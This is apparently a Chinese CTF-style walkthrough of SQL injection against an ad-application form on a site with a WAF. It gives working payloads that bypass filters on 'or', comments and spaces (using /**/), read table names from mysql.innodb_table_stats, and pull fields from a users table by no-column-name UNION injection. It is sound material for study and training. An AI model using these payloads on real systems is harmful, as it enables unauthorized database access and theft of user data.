我们用sql的惯用姿势1’ or 1=1#去试显示登录失败,也不是get方式传参,还有下面的注册,觉得这里不存在sql注入,注册后发现用户名叫admin已经被注册过了,也发现这里应该不存在注入,随便注册一个账号,登录看这个网站有什么功能。
发现可能在广告申请处有可能存在sql注入,
这里存在waf,于是fuzz测试一下,但是在测试时发现广告申请条数存在限制,必须要清空广告申请列表才可以写下一个申请,所以只能手动测试
我们发现有or # and --+被过滤了
我们发现空格被替换为空了所以空格也被过滤了,空格可以用/**/绕过
# --+注释符的话就用单引号闭合就ok
or被过滤了的话就不能使用order by,information_schema
这里使用一个新的注入方法:无列名注入
1.这里检查数据库列数
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
共有22列
2.然后去爆数据库
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
3.爆表名,这里不能使用or,所以这里使用的是新的payload
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
这里的表名是ads和users
4.去爆users的字段
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'